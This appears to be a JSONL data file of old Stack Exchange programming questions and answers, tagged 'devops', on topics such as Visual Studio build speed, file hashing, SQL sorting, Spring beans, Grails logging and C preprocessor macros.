{"id": "hf_aed433b9f8a7", "question": "<p>I have a relatively powerful dev workstation - 8 cores and 3 Gig of Ram. However, Visual Studio 2008 does not seem to take full advantage, especially during large builds. \nAre there any tweaks to be performed on XP VM settings etc to increase performance? I remember back in the bad old days that out of the box windows does not take best advantage of machines with lots of memory, is this still the case?</p>\n\n<p>PS assume I can make no hardware changes</p>\n", "question_body": "", "answer": "The biggest issue I usually have when working in large projects aren't cpu or memory, but the hard drive. Get several HD's on different channels (or use SCSI for best performance) and put the output files, intermediate files, temp folder on 3 different HD's. That should make a big difference.\nI know you said no hardware changes, but since you didn't write what type of HD setup you had, I just wanted to mention this.\nVS will not be able to use all your 8 cpu's efficiently unless you have a really fast HD setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.670572"}
{"id": "hf_32f02cc7b123", "question": "<p>A lot of files will be stored in the DB and I need file hashes to unique identify that the file was not changed.\n(In general, will be used as the Windows Personal Firewall part)</p>\n", "question_body": "", "answer": "This is, of course, not possible in general. Many people still use hashing for this purpose, and\nMD5\nis a popular algorithm, that gives you a 128-bit \"signature\" for the file with a high probability of changing when the contents of the file changes.\nIn the general case, you need to look at every bit of the file to include it in the hash, and performance will probably be I/O-limited. It's a sequential sweep over all data in the file, updating the state of whatever hash algorithm you use for each new byte. On a modern CPU, the latter will be quicker than the former.\nThis rather old analysis\nshows around ~45 MB/s on a Pentium 90 MHz CPU.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.693504"}
{"id": "hf_4d269ddbd161", "question": "<p>I'm trying to load javascript code with a user web control into a page via a the Page.LoadControl method during an asyncron post back of an update panel.</p>\n\n<p>I've tried the specially for that scenario designed methods of the scriptmanager, but the javascript just doens't get returned to the user.</p>\n\n<p>To explain my scenario a bit better:</p>\n\n<p>Master Page has the script manager and one page loads the user control via Page.LoadControl-method during an async post back. The custom control injects in the pre-render event handler the javascript. Is that a matter of timing to inject the js or is it just not possible to do so?</p>\n", "question_body": "", "answer": "Have your tried\n```\n```\nPage.ClientScript.RegisterStartUpScript(GetType(Page), \"key\", <your script here>, addSctiptTags:=true)\n```\n```\nWe do this in our User Controls and it works for us\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.739888"}
{"id": "hf_80ad1c2b5766", "question": "<p>Here is new C# future in version 4.0 known as dynamic. Show me the way i can use it in my code and how this future can help me?</p>\n\n<hr>\n\n<p>Related questions:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/298277/does-the-new-dynamic-c-40-keyword-deprecate-the-var-keyword\">Does the new ‘dynamic’ C# 4.0 keyword deprecate the ‘var’ keyword ?</a></li>\n<li><a href=\"https://stackoverflow.com/questions/244302/what-do-you-think-of-the-new-c-40-dynamic-keyword\">What do you think of the new C# 4.0 ‘dynamic’ keyword?</a></li>\n</ul>\n", "question_body": "", "answer": "One of the usages is interop between static and dynamic languages.\nSay you want to invoke a JavaScript function fron silverlight:\n```\n```\nHtmlPage.Window.Invoke(\"HelloWorldFunction\");\n```\n```\nIf the window was dynamic (and properly implemented) you would be able to use it like this:\n```\n```\nHtmlPage.Window.HelloWorldFunction();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.774333"}
{"id": "hf_b391e52f8f74", "question": "<p>I have a ListBox control that I want to change into having a toggle selection. i.e. Click once on an item selects it, click again it deselects it. Also, clicking another item in the list should do the default action of deselecting the previous item and selecting the new one.</p>\n\n<p>What's the best way of achieving this?</p>\n", "question_body": "", "answer": "I would keep the standard ListBox as that way you will keep the default behaviour you want, then for deselecting an item could you just handle it in the mouse down event? i.e. use something like this:\n```\n```\nPoint newPoint = e.GetPosition(backgroundImage);\n\nHitTestResult result = VisualTreeHelper.HitTest(this, newPoint);\n\nif (result.VisualHit is ListBoxItem)\n```\n```\nI'm not sure if this is the best way, the only other way I would go about doing this is to derive my own ListBox from the standard windows control and add in a dependency property to allow me to handle the deselection in the style. If you want to take this approach I shouldn't remove the default behaviour you want to keep either, I used this approach to create a ListBox that would display an image next to the text.\nIf you need any pointers on where to start, then just give me a shout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.797338"}
{"id": "hf_e08c56347010", "question": "<p>We have developers with knowledge of these languages - Ruby , Python, .Net or Java. We are developing an application which will mainly handle XML documents. Most of the work is to convert predefined XML files into database tables, providing mapping between XML documents through database, creating reports from database etc. Which language will be the easiest and fastest to work with?\n(It is a web-app)</p>\n", "question_body": "", "answer": "In .NET, C# 3.0 and VB9 provide excellent support for working with XML using LINQ to XML:\nLINQ to XML Overview", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.846942"}
{"id": "hf_2da5e20dc571", "question": "<p>I have an offline paper based form. I need to convert it into a software that people can use on their computers to fill and submit information. Since the form (it is a tax return) requires considerable time in filling, it is not convenient to have it online. I would much rather have a simple exe which gathers information, applies validation rules and then uploads a structured data file (like an XML file) containing the filled info.</p>\n\n<hr>\n\n<p>I mean that I have an offline paper based form. I need to convert it into a software that people can use on their computers to fill and submit information. Since the form (it is a tax return) requires considerable time in filling, it is not convenient to have it online only. I would much rather have a simple exe which gathers information, applies validation rules and then uploads a structured data file (like an XML file) containing the filled info.</p>\n", "question_body": "", "answer": "What do you mean, exactly? When you build a project containing a form, it will already build an executable if the project type is \"Windows Forms Application\".\nIf you've got one project with several forms and you need one executable per form, you should split your project out - one project per form. (You\ncould\nmake the code display a different form based on executable name - or have several entry points and build the same code with different\n```\n/main\n```\nflags, but that would be pretty nasty.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.892542"}
{"id": "hf_0ed6e0ae05a7", "question": "<p>Does anyone know how to unit test SiteMapNode? We’re building some custom navigation controls, which renders unordered html lists from Site Maps with custom attributes.</p>\n\n<p>I’m trying to follow a test first approach but am finding that SiteMapNode has internal dependencies on HttpContext. To traverse the site map file it insists on using a virtual path to find the site map file.</p>\n\n<p>I have build a site map, which I’d like to test against but I don’t want to create my unit testing environment in web project(!)</p>\n\n<p>Any suggestions? Mocking?  Overriding the relevant members?</p>\n", "question_body": "", "answer": "A rather dull question, so no surprise it didn't get a response! For anyone else who may stumble across this problem, here's my preferred solution:\nI've found the best way to handle this is to load the physical site map into an xml document. I then have a NavigationNodeFactory, which validates and builds my own composite NavigationNode tree from the xml document.\nMy NavigationNode class is as opinionated as I like and circumnavigates the issues I found with SiteMap and SiteMapProvider, namely poor testability for implementers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.918457"}
{"id": "hf_64fc8f3e4484", "question": "<p>I am working on a big C++ project. It is building using single Ant script which makes possible to compile the same source targeting more than one platform and compiler.</p>\n\n<p>But, I have to work only for Windows platform and Visual Studio 2005 C++ compiler. It would be really nice if I could write code and compile in Visual Studio, instead of using Notepad++ and Ant scripts, as I do now.</p>\n\n<p>I tried to install Nant and Nant addin for Visual Studio 2005, and to use existing Ant script, but it seems that Ant script cannot be used as a Nant script.</p>\n\n<p>Is there any way to convert Ant script to Nant? Is any other approach to the problem at all, or I must create Visual Studio solution and projects manually?</p>\n\n<p>I would try to avoid such solution because I have a bunch of tests that I don't know how to use in that case.</p>\n", "question_body": "", "answer": "To my knowledge, there is no\nautomatic\nway of converting Ant script to NAnt. However, since NAnt is based off of the Ant the conversion process would not be too far from the original, as long as the tasks are the \"core\" ones. Possibly an XSLT translation could be made on the Ant scripts to convert to NAnt as both are XML. If one were to go down this path the conversion should be done\ndynamically\nbased of the original Ant scripts, so that only one set of scripts would have to be maintained.\nIf you would like to write and compile your C++ code inside of Visual Studio it's tough to beat the functionality that is built in with the IDE. However, this requires creating project files though. Otherwise, it seems that one would risk fighting an uphill battle with the tool.\nOne option for the tests would be to call out through a\ncustom build step\nto run them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.952826"}
{"id": "hf_fd4303a07a81", "question": "<p>I've got this date time string:</p>\n\n<pre><code>post[\"date\"] = \"2007-07-18 10:03:19\"\n</code></pre>\n\n<p>I'd like to extract just \"2007-07-18\" as a date. I've seen some reference to <code>strptime</code> but I'm not sure how to use it.  How can I extract the date from this string?</p>\n", "question_body": "", "answer": "In your case, just use split:\n```\n```\n>>> d1=\"2007-07-18 10:03:19\"\n>>> d1.split()[0]\n'2007-07-18'\n>>>\n```\n```\n(The 1st part after splitting with whitespace)\nIf you insist on using\n```\nstrptime\n```\n, the format is\n```\n\"%Y-%m-%d %H:%M:%S\"\n```\n:\n```\n```\n>>> import time\n>>> time.strptime(d1,\"%Y-%m-%d %H:%M:%S\")\ntime.struct_time(tm_year=2007, tm_mon=7, tm_mday=18, tm_hour=10, tm_min=3, tm_sec=19, tm_wday=2, tm_yday=199, tm_isdst=-1)\n>>> time.strftime(\"%Y-%m-%d\", _)\n'2007-07-18'\n>>>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.976518"}
{"id": "hf_d9e6209832c7", "question": "<p>I'm using the <a href=\"http://www.microsoft.com/unlimitedpotential/programs/multipoint.mspx\" rel=\"nofollow noreferrer\">MultiPoint</a> SDK to create a collaborative educational application for children in less affluent countries, where there is not one computer for each student in the classroom.</p>\n\n<p>Because we need to support up to 40 mice connected to one computer, we need an automated way to test our software. The SDK will support as many mice that it can find on the system and detects when mice are added and removed. Each mouse appears as a 'virtual' mouse pointer within a WPF window. Each child has independent control of 'their' pointer on the screen.</p>\n\n<p>We would like to create a test harness that tricks Windows into thinking that it has more than one mouse. The harness would need to create these fake devices (40+) and use them to send mouse messages like move, button down, etc</p>\n\n<p>Any help would be greatly appreciated.</p>\n", "question_body": "", "answer": "Faking mice to the extent that you'd need for MultiPoint is going to require a device driver. This is not an easy task, but is by no means impossible.\nThe best approach would probably be a\nHID minidriver\nthat you can install using the\nSetup API\n. The driver would then accept\n```\nDeviceIoControl\n```\ns which would cause it to simulate mouse input reports.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.999626"}
{"id": "hf_081a3fcbbca9", "question": "<p><strong>PHP has a <a href=\"http://php.net/var_dump\" rel=\"noreferrer\">var_dump()</a> function which outputs the internal contents of an object, showing an object's type and content.</strong></p>\n\n<p>For example:</p>\n\n<pre><code>class Person {\n  private $firstName;\n  private $lastName;\n\n  public function __construct($firstName, $lastName) {\n    $this-&gt;firstName = $firstName;\n    $this-&gt;lastName = $lastName;\n  }\n}\n\n$person = new Person('Jon', 'Smith');\nvar_dump($person);\n</code></pre>\n\n<p>will output:</p>\n\n<pre><code>object(Person)#1 (2) {\n  [\"firstName:private\"]=&gt;\n  string(3) \"Jon\"\n  [\"lastName:private\"]=&gt;\n  string(5) \"Smith\"\n}\n</code></pre>\n\n<p><strong>What is the equivalent in Java that will do the same?</strong></p>\n", "question_body": "", "answer": "It is not quite as baked-in in Java, so you don't get this for free.\nIt is done with convention rather than language constructs.  In all data transfer classes (and maybe even\nin all classes you write...\n), you should implement a sensible\n```\ntoString\n```\nmethod.  So here you need to override\n```\ntoString()\n```\nin your\n```\nPerson\n```\nclass and return the desired state.\nThere are\nutilities available\nthat help with writing a good toString method, or most IDEs have an automatic\n```\ntoString()\n```\nwriting shortcut.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.022609"}
{"id": "hf_a0ad9f6548ce", "question": "<p>I have this SQL query:</p>\n\n<pre><code>SELECT * FROM IMAGES WHERE\nIMAGENAME in ('IMG1', 'IMG2', 'IMG3', 'IMG4', 'IMG5', 'IMG6')\nORDER BY CASE IMAGENAME\n  WHEN 'IMG1' THEN 1\n  WHEN 'IMG2' THEN 2\n  WHEN 'IMG3' THEN 3\n  WHEN 'IMG4' THEN 4\n  WHEN 'IMG5' THEN 5\n  WHEN 'IMG6' THEN 6\n  ELSE 7\nEND\n</code></pre>\n\n<p>I cannot guarantee that the list of IMAGENAMEs will be in alphabetical order, hence the case statement, but I would prefer to sort in the DB rather than in code because I trust their sorting code better than mine :)</p>\n\n<p>SQL server analyses that 78% of the execution time is spent sorting - can I reduce this?</p>\n\n<p>It needs to be fairly vanilla SQL as we target SQL Server and Oracle.</p>\n\n<p>Any tuning advice would be fantastic.</p>\n", "question_body": "", "answer": "Could you strip the\n```\nIMG\n```\n(or non-numeric) part of the\n```\nIMAGENAME\n```\nto a new column when writing to the database, then sort on the new numeric-only column?\nFor example:\n```\n```\nSELECT * FROM IMAGES WHERE\nIMAGENAME in ('IMG1', 'IMG2', 'IMG3', 'IMG4', 'IMG5', 'IMG6')\nORDER BY IMAGENO\nEND\n```\n```\nwhere\n```\nIMAGENO\n```\nwould contain\n```\n1, 2, 3, 4, 5, 6\n```\nfor each row in your example, respectively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.045833"}
{"id": "hf_6c6318d75b79", "question": "<p>There's a web services I want to call in my application, I can use it with importing the WSDL or by just use \"HTTP GET\" with the URL and parameters, so I prefer the later because it's simple thing.</p>\n\n<p>I know I can use indy idhttp.get, to do the job, but this is very simple thing and I don't want to add complex indy code to my application.</p>\n\n<p><strong>UPDATE</strong>: sorry if I was not clear, I meant by \"not to add complex indy code\", that I don't want add indy components for just this simple task, and prefer more lighter way for that.</p>\n", "question_body": "", "answer": "Calling a RESTful web service using Indy is pretty straight forward.\nAdd IdHTTP to your uses clause.  Remember that IdHTTP needs the \"HTTP://\" prefix on your URLs.\n```\n```\nfunction GetURLAsString(const aURL: string): string;\nvar\n  lHTTP: TIdHTTP;\nbegin\n  lHTTP := TIdHTTP.Create;\n  try\n    Result := lHTTP.Get(aURL);\n  finally\n    lHTTP.Free;\n  end;\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.068823"}
{"id": "hf_1f66b8d39ce4", "question": "<p>I want to be able to create a file, distribute it to an end-user, but prevent them from making modifications to the file.</p>\n\n<p>Now, obviously, I can't actually stop anybody from modifying the file - so my approach is to detect and reject the file if it's modified.</p>\n\n<p>My intention is to generate a salted hash of the file contents and append it to the file. On reading, the hash is verified before reading the rest of the file. The downside of this is that I have to distribute the fixed \"salt\" in the executable which reads the file. Obviously I can obfuscate it to some extent, but that still feels like a weak link.</p>\n\n<p>Are there any better approaches to solving this kind of problem?</p>\n", "question_body": "", "answer": "Not if you want a 100% solution. Just look at the movie and music industry. They have tried and failed for many years now :)\nI think your solution is good enough. To make it harder to modify the file you could encrypt it, but then they can't read it, so it will only work if that is an ok limitation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.128757"}
{"id": "hf_4f4f6805cbb6", "question": "<p>I am having a postgres production database in production (which contains a lot of Data). now I need to modify the model of the tg-app to add couple of new tables to the database. </p>\n\n<p>How do i do this? I am using sqlAlchemy.</p>\n", "question_body": "", "answer": "If you are just adding tables, and not modifying any of the tables which have the existing data in it, you can simply add the new sqlAlchemy table definitions to model.py, and run:\n```\n```\ntg-admin sql create\n```\n```\nThis will not overwrite any of your existing tables.\nFor schema migration, you might take a look at\nhttp://code.google.com/p/sqlalchemy-migrate/\nalthough I haven't used it yet myself.\nAlways take a backup of the production database before migration activity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.162892"}
{"id": "hf_68602e650bcd", "question": "<p>How to create a WCF application without using the svcutil.exe tool?</p>\n", "question_body": "", "answer": "What version of Visual Studio are you using?\nVS2008 incorporates the functionality of the svcutil tool.  To generate the proxy, click on the Solution Explorer and select 'Add Service Reference', you can then enter the URL of the server, give the namespace a name and off you go.\nYou may want to expand your question to provide some more details of what you are wanting to achieve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.231643"}
{"id": "hf_fcc5e9a993be", "question": "<p>I'm trying to load spring beans using XmlWebApplicationContext setConfigLocations method.  However, I keep getting a </p>\n\n<pre><code>BeanIsAbstractException\n</code></pre>\n\n<p>I know that the bean is abstract, I have it configured this way, so Spring should know not to try to instantiate it.</p>\n\n<p>I'm using Spring2.0.8.jar with jetspeed2.1.</p>\n\n<p>Spring bean:</p>\n\n<pre><code>&lt;bean id=\"ThreadPool\" abstract=\"true\" class=\"com.sample.ThreadPoolFactoryBean\"/&gt;\n</code></pre>\n\n<p>Code:</p>\n\n<pre><code>ctx = appContext;\n    appContext.refresh();\n    BeanFactory factory = appContext.getBeanFactory();\n    String[] beansName = appContext.getBeanFactory()\n            .getBeanDefinitionNames();\n\n...\n\nmap.put(beansName[mnCnt], factory.getBean(beansName[mnCnt]));\n</code></pre>\n\n<p>Anyone have any ideas?</p>\n", "question_body": "", "answer": "The following code will try, and fail to create an instance of your abstract class:\n```\n```\nmap.put(beansName[mnCnt], factory.getBean(beansName[mnCnt]));\n```\n```\nJust so there is no confusion, 'abstract' beans are\nnot the same\nas abstract classes.They are primarily a convenient mechanism for reducing duplicate property settings.\nA child bean definition will inherit constructor argument values, \n      property values and method overrides from the parent, with the option \n      to add new values. If init method, destroy method, factory bean and/or \n      factory method are specified, they will override the corresponding \n      parent settings.\nA contrived example:\n```\n```\nclass Fruit {\n    private String colour;\n    private String name;\n    // setters...\n}\n\nclass Car {\n    private String colour;\n    private String manufacturer;\n    // setters...\n}\n```\n```\nAnd:\n```\n```\n<!-- specifying a class for an abstract bean is optional -->\n<bean id=\"sharedPropsBean\" abstract=\"true\">\n    <property name=\"colour\" value=\"red\" />\n</bean>\n\n<bean id=\"myFruit\" parent=\"sharedPropsBean\" class=\"Fruit\">\n    <property name=\"name\" value=\"apple\" />\n</bean>\n\n<bean id=\"myCar\" parent=\"sharedPropsBean\" class=\"Car\">\n    <property name=\"manufacturer\" value=\"Ferrari\" />\n</bean>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.288871"}
{"id": "hf_9c0c58241ae7", "question": "<p>I need to perform a HTTP GET from PHP. </p>\n\n<p>More specifically, from within /index.php I need to get the content of /trac/ and /svn/, find the \"ul\" element and then render then inline on the index.php.</p>\n\n<p>/trac and /svn are relative URLs and not filesystem folders.\n<a href=\"http://myserver/trac\" rel=\"nofollow noreferrer\">http://myserver/trac</a> and <a href=\"http://myserver/svn\" rel=\"nofollow noreferrer\">http://myserver/svn</a></p>\n", "question_body": "", "answer": "Have a look at\nfile_get_contents\n- it can be used to open urls under some conditions as can some of the other\nfilesystem functions\n:\nA URL can be used as a filename with\n  this function if the fopen wrappers\n  have been enabled. See fopen() for\n  more details on how to specify the\n  filename and List of Supported\n  Protocols/Wrappers for a list of\n  supported URL protocols.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.311753"}
{"id": "hf_a4b89d9c6087", "question": "<p>Can anyone explain to me what this means?</p>\n\n<p>\"Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.\"</p>\n", "question_body": "", "answer": "Possibility #1 is your object got Aliased wrong. That means the compiler mistakenly casted an object incorrectly, most commonly as an optimization.\nPossibility #2 your using a reference to an object that isn't valid.\nPossibility #3 something totally unrelated broke your stack, likely a buffer overflow.\nWithout code sample It's hard to predict beyond these possibilities, but they cover 90% of what might be happening.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.358008"}
{"id": "hf_5f08bfb5c304", "question": "<p>How do you set a break points in server tags in .aspx pages. e.g.</p>\n\n<pre><code>&lt;%   dim breakhere =new object() %&gt;\n</code></pre>\n\n<p>The web application is running in debug mode with the <code>&lt;compilation debug=\"true\" ...</code> in the web.config. But the page says:</p>\n\n<blockquote>\n  <p>The break point will not currently be\n  hit. No symbols have been loaded for\n  this document.</p>\n</blockquote>\n\n<p>Is there anything else i need to set?</p>\n", "question_body": "", "answer": "I havent tried this myself but in ASP (VBScript) you can inject a STOP statement and that will trigger the IDE to break on that line\nExample\n```\n```\n<%\nSTOP\nDim o as Object = new Object()\n%>\n```\n```\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.380889"}
{"id": "hf_893ae26e25e4", "question": "<p>Edit: This behaviour is reproducible with <a href=\"https://stackoverflow.com/questions/301766/mutability-and-reference-of-php5-get-variables\">query globals</a> on.</p>\n\n<p>I have the following:</p>\n\n<pre><code>  $_SESSION['query_key'] = $_GET['query_key'];\n  print($query_key);\n</code></pre>\n\n<p>Vs.</p>\n\n<pre><code>  $_SESSION['query_key'] = clone $_GET['query_key'];\n  print($query_key);\n</code></pre>\n\n<p>The former prints out the value of $query_key, while the latter prints nothing.\nWhat sort of weird side effect is this of clone?</p>\n", "question_body": "", "answer": "You must be doing something very weird with your code.\nclone\nis for use on objects.  Unless you're stuffing objects into $_GET then that code will result in a fatal error (or a warning in older PHP versions).\n@Michael Haren - clone actually does a shallow copy of an object, that is, it copies all the properties, but if a property is a reference to another object it will copy the reference, not clone the other object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.461029"}
{"id": "hf_5a7c2e63b8f4", "question": "<p>In the grails-framework some objects are using log. This is normally injected by grails. It works on execution of <code>grails test-app</code>. But the same test (an integration-test) fails on execution of <code>grails test-app -integration</code>.</p>\n\n<p>What goes wrong here and can I force the injection of the log-object somehow?</p>\n", "question_body": "", "answer": "What version of grails are you using?  It's working fine for both situations for me on 1.0.4 (the latest).\nI create a new blank app and created a service class with an integration test:\nFooService.groovy:\n```\n```\nclass FooService {\n    def logSomething(message) {\n        log.error(message)\n        return true\n    }\n}\n```\n```\nFooServiceTests.groovy:\n```\n```\nclass FooServiceTests extends GroovyTestCase {\n    def fooService\n    void testSomething() {\n    assert fooService.logSomething(\"it works\")\n    }\n}\n```\n```\nWhen running just test-app, I get the log message:\n```\n```\n% grails test-app             \n\nWelcome to Grails 1.0.4 - http://grails.org/\n....\n-------------------------------------------------------\nRunning 1 Integration Test...\nRunning test FooServiceTests...\n                        testSomething...[4174] service.FooService it works\nSUCCESS\nIntegration Tests Completed in 440ms\n-------------------------------------------------------\n...\n```\n```\nWhen running only integration tests, it also works:\n```\n```\n% grails test-app -integration\n\nWelcome to Grails 1.0.4 - http://grails.org/\n....\n-------------------------------------------------------\nRunning 1 Integration Test...\nRunning test FooServiceTests...\n                    testSomething...[4444] service.FooService it works\nSUCCESS\nIntegration Tests Completed in 481ms\n-------------------------------------------------------\n....\n```\n```\nAre you munging around with the logger class (or overriding any metaclass stuff on the logger, in any previous integration classes or unit tests and not then re-initializing the metaClass?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.484169"}
{"id": "hf_d403ce068a63", "question": "<p>I have a web app that is heavily loaded in javascript and css. First time users log in it takes some time to load once it is downloading js etc. Then the caching will make everything faster.</p>\n\n<p>I want my users to be aware of this loading time. How can I add some code to \"show\" some loading information while js and css are downloaded?</p>\n", "question_body": "", "answer": "Sweet mother of mercy, Ricardo, how much Javascript and CSS are involved with this application?\nYou could, I guess, do something where you load the JS and CSS using an AJAX request and do nothing with them.  This will load your JS and CSS files into the cache.  You could do all of this on a \"Loading\" page, and redirect to the real page once you've loaded the files.  But IMO you really shouldn't have to do this.  Use\nFiddler\nto really see what's going on behind the scenes -- make sure people are really having to wait for their JS/CSS files to come down before doing this optimization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.518743"}
{"id": "hf_4adb9c995a27", "question": "<p>I would like to do the equivalent of the following:</p>\n\n<pre><code>#define print_max(TYPE) \\\n#  ifdef TYPE##_MAX \\\n     printf(\"%lld\\n\", TYPE##_MAX); \\\n#  endif\n\nprint_max(INT);\n</code></pre>\n\n<p>Now the <code>#ifdef</code> or any nested preprocessor directive is\nnot allowed as far as I can see in a function macro.\nAny ideas?</p>\n\n<p>Update: So it seems like this is not possible. Even a hack to check at runtime seems unachievable. So I think I'll go with something like:</p>\n\n<pre><code>#ifndef BLAH_MAX\n#  define BLAH_MAX 0\n#endif\n# etc... for each type I'm interested in\n\n#define print_max(TYPE) \\\n    if (TYPE##_MAX) \\\n       printf(\"%lld\\n\", TYPE##_MAX);\n\nprint_max(INT);\nprint_max(BLAH);\n</code></pre>\n", "question_body": "", "answer": "I don't think it's a case of the ## operator not being allowed in an #ifdef. I tried this:\n```\n```\n#define _print_max(TYPE) \\\n#ifdef TYPE \\\nprintf(\"%lld\\n\", _TYPE); \\\n#endif\n\n#define print_max(TYPE) _print_max(MAX##_TYPE)\n\nvoid main() \n{\n    print_max(INT)\n}\n```\n```\nand it still didn't work (it didn't like #ifdef TYPE). The problem is that #ifdef will only accept #defined symbols, not #define arguments. Those are two different things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:54.541808"}
